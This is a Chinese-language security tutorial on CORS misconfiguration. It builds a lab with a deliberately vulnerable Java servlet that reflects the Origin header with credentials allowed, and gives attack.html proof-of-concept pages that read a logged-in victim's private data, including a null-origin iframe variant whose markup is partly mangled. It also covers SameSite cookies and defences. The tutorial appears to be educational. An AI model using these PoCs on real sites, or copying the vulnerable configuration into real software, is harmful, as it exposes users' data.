CORS跨域资源共享漏洞

前置知识

跨域

域(Domain)是由三部分组成的标识:协议、域名和端口。

例如这两个ip就属于不同的域:

  • http://example.com

  • https://example.com

因为它们的协议不同(一个是HTTP,另一个是HTTPS),并且它们的端口也有差异(HTTP默认端口为80,HTTPS默认端口为443)。因此,这两个域之间的请求被认为是跨域请求。

而没有限制的跨域请求,就会有很多的弊端,例如导致CSRF等。为了解决这个问题于是引入了同源策略这个概念。

同源策略

同源策略(Same-Origin Policy)是浏览器的一项安全措施,它限制了网页中的脚本只能与加载该脚本的页面具有相同的协议域名端口,才能进行无障碍的跨域资源访问。同源策略的目的是保护用户的信息和隐私,防止恶意网站利用浏览器漏洞获取或修改其他网站的数据。

例如下表中与`http://example.com/api/v1/index.html 属于相同来源的是:

URL 结果 原因
http://example.com/api/v1/login.html 只有路径不相同
http://user:[email protected]/api/v1/other.html 只有路径不相同
https://example.com/api/v1/index.html 不同协议(https)
http://example.com:81/api/v1/index.html 不同域名
http://test.example.com/api/v1/index.html 不同端口

有一些标签是不受同源策略限制的,这些标签可以自由地加载和显示来自其他域的内容,而无需进行跨域请求。

  • script:
  • img:Image
  • iframe:
  • link:

有了同源策略可以较有效的防止CSRF和XSS等漏洞,但同时也带来了一个弊端:同协议、同域名、同端口使得跨域资源共享变得更为复杂困难。这时就需要引入CORS(跨域资源共享)来处理这个问题。

CORS

定义

CORS(跨域资源共享)是一种用于在Web浏览器中处理跨域请求的机制。当在浏览器上执行JavaScript代码时,由于同源策略的限制,脚本只能与同源(相同协议、域名和端口)的服务器进行通信。但在某些情况下,我们可能需要从一个域向另一个域请求数据或资源,这就涉及到跨域请求。

工作原理

CORS允许服务器定义哪些外部域有权限访问其资源。当浏览器发起跨域请求时,它会首先发送一个预检请求(OPTIONS请求),询问服务器是否允许实际请求。服务器通过返回特定的HTTP响应头来控制跨域访问,其中最重要的是"Access-Control-Allow-Origin"头,指定允许访问的域。如果服务器响应中包含了请求的源域,那么浏览器会允许实际的跨域请求并接收响应。

除"Access-Control-Allow-Origin"外,还有其他的CORS头可以用来进一步定义跨域请求的行为,例如:.

  • Access-Control-Allow-Credentials:是否允许浏览器读取response的内容

  • Access-Control-Allow-Methods:指定允许的HTTP方法(GET、POST等)。

  • Access-Control-Allow-Headers:指定允许的请求头。

  • Access-Control-Max-Age:指定预检请求的有效期。

CORS漏洞

漏洞原理

CORS跨域漏洞的本质是服务器配置不当,即Access-Control-Allow-Origin设置为*或是直接取自请求头Origin字段,Access-Control-Allow-Credentials设置为true等。

测试环境

firefox 59.0:Directory Listing: /pub/firefox/releases/59.0/ (mozilla.org)

tomcat 8.5

靶机:192.168.235.166

攻击机:192.168.43.136

漏洞测试

先设置一个登录框,和一个信息查询页面,模拟用户登录和获取个人信息

LoginServlet

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet(name = "login", value = "/login")
public class LoginServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        if (req.getParameter("user") != null){
            if (req.getParameter("user").equals("admin")){
                Cookie cookie = new Cookie("user", "admin");
                resp.addCookie(cookie);
                resp.setContentType("text/html;charset=UTF-8");
                resp.getWriter().print("Sentiment登陆成功! ");
            }
        }else {
            resp.getWriter().print("登录失败");
        }
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doPost(req, resp);
    }
}

PersonInfoServlet

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet(name = "personinfo", value = "/info")
public class PersonInfoServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        Cookie[] cookies = req.getCookies();
        resp.setContentType("text/html;charset=UTF-8");

        String origin = req.getHeader("origin");
        if (origin != null){
            resp.setHeader("Access-Control-Allow-Origin",origin);
            resp.setHeader("Access-Control-Allow-Credentials","true");
        }

        if (cookies != null){
            for (Cookie cookie : cookies) {
                String name = cookie.getName();
                String value = cookie.getValue();
                if (name.equals("user") && value.equals("admin")){
                    resp.getWriter().print("你好Sentiment,你的密码是123456");
                }
            }
        }else {
            resp.getWriter().print("未登录");
        }
    }
}

第一种情况

可能导致漏洞的环境有多种方式,先看下这种:

Access-Control-Allow-Origin: all-host
Access-Control-Allow-Credentials: true
//对应配置
resp.setHeader("Access-Control-Allow-Origin",origin);
resp.setHeader("Access-Control-Allow-Credentials","true");

这两个返回头表示应用程序允许来自任何Origin的任何脚本向应用程序发出CORS请求。

先模拟用户登录

在这里插入图片描述

此时用户访问/info,便能看到自己的信息
在这里插入图片描述

这时我们构造恶意脚本,发送给该用户

attack.html

DOCTYPE html>
<html>
<body>
<center>
  <h2>CORS POC Exploith2>
  <h3>Extract SIDh3>

  <div id="demo">
    <button type="button" onclick="cors()">Exploitbutton>
  div>

  <script>
    function cors() {
      var xhttp = new XMLHttpRequest();
      xhttp.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
          alert(this.responseText);
        }
      };
      xhttp.open("GET", "http://192.168.235.166:8081/info", true);
      xhttp.withCredentials = true;
      xhttp.send();
    }
  script>
center>
body>
html>

当用户点击后,便可跨域请求用户端的info信息,并且带上了用户的cookie
CORS跨域资源共享漏洞_第1张图片

第二种情况

服务器返回如下消息头,这种情况下,利用起来稍有困难,这里的null必须小写。

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
//对应配置
resp.setHeader("Access-Control-Allow-Origin","null");
resp.setHeader("Access-Control-Allow-Credentials","true");

这时再请求attack.html,发现被拦截
CORS跨域资源共享漏洞_第2张图片

这是由于发送的请求origin并不为null
CORS跨域资源共享漏洞_第3张图片

此时修改attack.html

DOCTYPE html>
<html xmlns="http://www.w3.org/1999/html">
<body>
<center>
  <h2>CORS POC Exploith2>
  <h3>Extract SIDh3>

  <div id="demo">
    <button type="button" onclick="cors()">Exploitbutton>
  div>

  <iframe sandbox="allow-scripts allow-top-navigation allow-forms allow-modals" src="data:text/html;charset=UTF-8,">iframe>

center>
body>
html>

成功获取敏感信息
CORS跨域资源共享漏洞_第4张图片

第三种情况

这种情况表示允许所有网站的跨域请求,但它并不能获取到用户cookie,因为这种配置本身就有问题,是不被安全策略允许的。

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

CORS跨域资源共享漏洞_第5张图片

SameSite配置问题

在测试环境中,我使用的是 Firefox 59.0 。这并不是随意选择的,而是基于 SameSite 配置的需要。从 Firefox 60 开始,Cookie 引入了一个新属性 SameSite,用于防止 CSRF 攻击等。同样edge和chorm分别在80、51版本后也引入了改配置

属性

SameSite有三个属性:

  • **Strict:**最为严格,完全禁止第三方 Cookie,跨站点时,任何情况下都不会发送 Cookie。
  • **Lax:**当开发开发人员没有设置samesite的值得时候,Lax是默认值,规则稍稍放宽,大多数情况也是不发送第三方 Cookie

Lax的情况见下表:

请求类型 示例 正常情况 Lax
链接 发送 Cookie 发送 Cookie
预加载 发送 Cookie 发送 Cookie
GET 表单
发送 Cookie 发送 Cookie
POST 表单 发送 Cookie 不发送
iframe 发送 Cookie 不发送
AJAX $.get("...") 发送 Cookie 不发送
Image 发送 Cookie 不发送

PS:我们发送的AJAX请求,是不会发送Cookie的,因此需要修改这个默认设置

  • **None:**所有请求中都允许发送cookie,但是如果samesite配置成了none,还必须将cookie加上Secure属性才能够生效

解决方法

通过上边可以发现SameSite设置为None时,仍然是可以发送Cookie的,所以当发现samesite=None仍可尝试CORS攻击,但需要注意几点:

  • 协议必须是https(这是因为在SameSite=None模式下,浏览器要求使用安全连接(HTTPS)才能传输具有此标志的Cookie)
  • cookie必须设置Secure
    CORS跨域资源共享漏洞_第6张图片

CORS防御

  • Access-Control-Allow-Origin 设为受信任的站点
  • 减少Access-Control-Allow-Methods所允许的请求方式
  • 只允许安全的协议如https

参考链接

全方位了解CORS跨域资源共享漏洞 - 先知社区 (aliyun.com)

浅析CORS攻击及其挖洞思路 - 先知社区 (aliyun.com)

https://github.com/chenjj/CORScanner

第40篇:CORS跨域资源共享漏洞的复现、分析、利用及修复过程_cors漏洞修复_希潭实验室ABC123的博客-CSDN博客

你可能感兴趣的:(网络安全)